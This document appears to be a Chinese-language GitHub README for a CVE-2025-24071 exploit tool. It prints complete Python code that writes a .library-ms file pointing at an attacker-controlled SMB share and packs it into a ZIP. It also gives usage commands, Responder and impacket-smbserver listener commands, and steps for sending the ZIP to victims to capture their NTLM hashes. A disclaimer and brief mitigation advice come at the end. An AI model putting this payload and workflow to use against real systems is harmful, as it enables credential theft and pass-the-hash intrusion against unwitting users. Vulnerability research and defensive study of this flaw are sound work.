CVE-2025-24071 Windows 文件资源管理器欺骗漏洞利用工具
项目概述
CVE-2025-24071 是 Windows 文件资源管理器(File Explorer)中的一个欺骗性漏洞,允许未经身份验证的攻击者通过网络泄露敏感信息。该漏洞源于 Windows 资源管理器对 .library-ms 文件的隐式信任和自动解析行为。通过构造包含恶意 SMB 路径的 .library-ms 文件并将其嵌入压缩包(如 RAR/ZIP),攻击者可以在目标用户解压文件时触发 SMB 身份验证请求,进而捕获用户的 NTLM 哈希值。
漏洞信息
- CVE ID: CVE-2025-24071
- 严重程度: 中等(CVSS v3.1 基础评分:6.5)
- 攻击向量: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
- CWE: CWE-200 - 敏感信息暴露给未经授权的攻击者
- 发布日期: 2025年3月11日
- 最后更新: 2025年4月16日
功能特性
- 自动化 payload 生成:一键生成包含恶意
.library-ms文件的 ZIP 压缩包 - 灵活的 SMB 路径配置:支持自定义目标 IP 地址、共享名称和文件名
- 自动文件清理:生成 ZIP 包后自动删除临时生成的
.library-ms文件 - 轻量级设计:无需额外依赖,仅使用 Python 标准库
- 跨平台支持:可在 Windows、Linux、macOS 上运行生成 payload
影响系统版本
该漏洞影响以下 Windows 版本:
- Windows 10(版本 1607、1809、21H2、22H2)
- Windows 11(版本 22H2、23H2、24H2)
- Windows Server 2012 R2
- Windows Server 2016
- Windows Server 2019
- Windows Server 2022
- Windows Server 2025
完整的影响系统列表请参考 Microsoft 安全更新指南
安装指南
系统要求
- Python 3.6 或更高版本
- 标准库模块:
argparse、os、zipfile(Python 内置,无需额外安装)
安装步骤
- 克隆代码仓库到本地:
git clone https://github.com/your-repo/CVE-2025-24071-PoC.git
cd CVE-2025-24071-PoC
- 验证 Python 环境:
python --version
- 无需安装额外依赖,直接运行脚本即可。
使用说明
基础用法
python exploit.py --ip <目标IP地址> --filename <文件名> --share <共享名称>
参数说明
| 参数 | 简写 | 必填 | 默认值 | 描述 |
|---|---|---|---|---|
--ip | -i | 是 | 无 | 攻击者 SMB 服务器的目标 IP 地址 |
--filename | -f | 否 | payload | 输出文件名(不含扩展名) |
--share | -s | 否 | share | 本地 SMB 共享名称 |
使用示例
示例 1:基础用法
生成指向 192.168.1.100 的 payload,使用默认文件名和共享名:
python exploit.py --ip 192.168.1.100
输出:
[+] Crafting malicious .library-ms file:
[+] Created payload.library-ms file
[+] Zipped file saved as: payload.zip
示例 2:自定义文件名和共享名
python exploit.py --ip 10.10.10.10 --filename malicious --share public
输出:
[+] Crafting malicious .library-ms file:
[+] Created malicious.library-ms file
[+] Zipped file saved as: malicious.zip
攻击流程
- 构造 payload:使用
exploit.py生成包含恶意.library-ms文件的 ZIP 压缩包 - 启动 SMB 监听:在攻击者机器上启动 SMB 服务(如 Responder、impacket-smbserver 等)以捕获 NTLM 哈希
- 分发文件:将生成的 ZIP 文件通过邮件、即时通讯等方式发送给目标用户
- 触发漏洞:当目标用户解压 ZIP 文件时,Windows 资源管理器自动解析
.library-ms文件,触发 SMB 认证请求 - 捕获哈希:攻击者监听获得目标用户的 NTLM 哈希值
攻击者 SMB 服务设置示例
使用 Responder 监听 SMB 请求:
sudo responder -I eth0 -w
或使用 impacket 提供的 SMB 服务:
sudo impacket-smbserver share ./ -smb2support
核心代码
1. 恶意 .library-ms 文件生成函数
该函数负责生成符合 Windows 库文件格式规范的 XML 内容,并将恶意 SMB 路径写入其中。
def generate_file(smb_path, filename):
"""
生成恶意的 .library-ms 文件
该函数创建一个 Windows 库文件(.library-ms),其中包含指向攻击者 SMB 服务器的路径。
Windows 资源管理器会自动解析该文件并尝试连接到指定的 SMB 路径,
从而触发 NTLM 身份验证请求。
Args:
smb_path (str): 恶意 SMB 路径,格式为 \\\\IP\\share\\
filename (str): 输出文件名(不含扩展名)
Returns:
None: 文件写入磁盘,无返回值
"""
content = f"""<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>{smb_path}</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>"""
with open(filename + '.library-ms', "w") as file:
file.write(content)
print("[+] Created {filename}.library-ms file")
2. ZIP 压缩打包函数
该函数将生成的 .library-ms 文件打包为 ZIP 压缩包,并在打包完成后删除临时文件,以保持工作目录整洁。
def zip_file(filename):
"""
将 .library-ms 文件打包为 ZIP 压缩包
该函数使用 Python 的 zipfile 模块将恶意库文件压缩为 ZIP 格式,
压缩完成后自动删除原始 .library-ms 文件,减少痕迹。
Args:
filename (str): 文件名(不含扩展名)
Returns:
None: ZIP 文件写入磁盘,无返回值
技术细节:
- 使用 ZIP_DEFLATED 压缩算法减小文件体积
- 通过 arcname 参数确保压缩包内的文件结构简洁
- 自动清理临时文件,提升用户体验
"""
zip_name = filename + ".zip"
with zipfile.ZipFile(zip_name, 'w', zipfile.ZIP_DEFLATED) as zipf:
zipf.write(f"{filename}.library-ms", arcname=f"{filename}.library-ms")
os.remove(f"{filename}.library-ms")
print(f"[+] Zipped file saved as: {zip_name}")
3. 主程序入口与命令行解析
主程序负责解析命令行参数、协调各模块工作,并提供友好的用户交互反馈。
def main():
"""
主程序入口函数
功能流程:
1. 解析命令行参数(目标IP、文件名、共享名称)
2. 构造恶意 SMB 路径(格式:\\\\IP\\share\\)
3. 调用 generate_file() 生成 .library-ms 文件
4. 调用 zip_file() 打包为 ZIP 并清理临时文件
命令行参数:
-i/--ip: 目标 IP 地址(必填)
-f/--filename: 输出文件名(可选,默认 payload)
-s/--share: SMB 共享名称(可选,默认 share)
使用示例:
python exploit.py --ip 192.168.1.100 --filename test --smb public
"""
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--ip', required=True, help='Target IP address (e.g 10.10.10.10)')
parser.add_argument('-f', '--filename', default='payload', help='Filename without the extension')
parser.add_argument('-s', '--share', default='share', help='Name of your local smb share')
args = parser.parse_args()
print("[+] Crafting malicious .library-ms file:")
# 构造 Windows 网络路径格式:\\\\IP\\share\\
smb_path = f"\\\\{args.ip}\\{args.share}\\"
generate_file(smb_path, args.filename)
zip_file(args.filename)
漏洞利用原理
-
文件格式信任:Windows 资源管理器将
.library-ms文件视为可信的库配置文件,会自动解析并加载其中包含的路径信息。 -
SMB 自动认证:当资源管理器访问
\\IP\share\格式的 SMB 路径时,Windows 会尝试使用当前用户的凭据进行 NTLM 身份验证。 -
哈希捕获:攻击者控制的 SMB 服务器在接收到认证请求后,可以记录下用户的 NTLM 哈希值,进而进行离线破解或 Pass-the-Hash 攻击。
-
压缩包自动处理:将
.library-ms文件嵌入 ZIP 压缩包后,当用户执行解压操作时,资源管理器会自动解析其中的库文件,触发上述流程。
注意事项
⚠️ 免责声明:本项目仅用于安全研究和授权测试目的。未经授权使用此工具攻击他人系统是违法行为。使用本工具产生的所有后果由使用者自行承担。
- 该漏洞已于 2025 年 3 月的 Microsoft 安全更新中修复,请及时更新系统
- 建议在企业环境中禁用 SMB 出站连接或部署 NTLM 防护措施
- 教育用户不要解压来自不可信来源的压缩包文件 6HFtX5dABrKlqXeO5PUv/65LI/Jw0eghQAp4Y4vlThotckKDNXCppoAT0CPQZLiV